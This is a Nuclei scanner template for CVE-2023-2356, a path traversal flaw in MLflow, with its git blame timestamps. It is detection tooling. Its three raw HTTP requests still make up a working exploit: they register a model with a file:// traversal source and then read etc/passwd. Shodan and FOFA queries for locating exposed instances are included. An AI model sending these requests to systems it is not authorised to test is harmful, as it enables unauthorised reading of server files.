nuclei-templates/http/cves/2023/CVE-2023-2356.yaml

65 lines
1.5 KiB
YAML
Raw Normal View History

2023-05-04 12:59:25 +00:00
id: CVE-2023-2356
info:
2023-05-23 06:32:34 +00:00
name: Mlflow <2.3.0 - Local File Inclusion
2023-05-04 12:59:25 +00:00
author: Co5mos
2023-05-23 06:32:34 +00:00
severity: high
2023-05-04 12:59:25 +00:00
description: |
Relative Path Traversal in GitHub repository mlflow/mlflow prior to 2.3.1.
reference:
- https://huntr.dev/bounties/7b5d130d-38eb-4133-8c7d-0dfc9a9d9896/
- https://nvd.nist.gov/vuln/detail/CVE-2023-2356
classification:
2023-05-08 07:12:08 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
2023-05-04 12:59:25 +00:00
cve-id: CVE-2023-2356
cwe-id: CWE-23
metadata:
fofa-query: app="MLflow"
max-request: 3
shodan-query: http.title:"mlflow"
2023-06-04 08:13:42 +00:00
verified: true
2023-05-23 06:32:34 +00:00
tags: cve,cve2023,lfi,huntr,mlflow,oss
2023-05-04 12:59:25 +00:00
variables:
str: "{{rand_base(6)}}"
http:
- raw:
- |
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{str}}"}
2023-05-05 11:18:47 +00:00
2023-05-04 12:59:25 +00:00
- |
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
2023-05-23 06:32:34 +00:00
{"name": "{{str}}", "source": "file://{{Hostname}}/../../../../../../../"}
2023-05-05 11:18:47 +00:00
2023-05-04 12:59:25 +00:00
- |
GET /model-versions/get-artifact?path=etc/passwd&name={{str}}&version={{version}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
extractors:
- type: regex
part: body
name: version
internal: true
group: 1
regex:
2023-05-05 11:18:47 +00:00
- '"version": "([0-9.]+)",'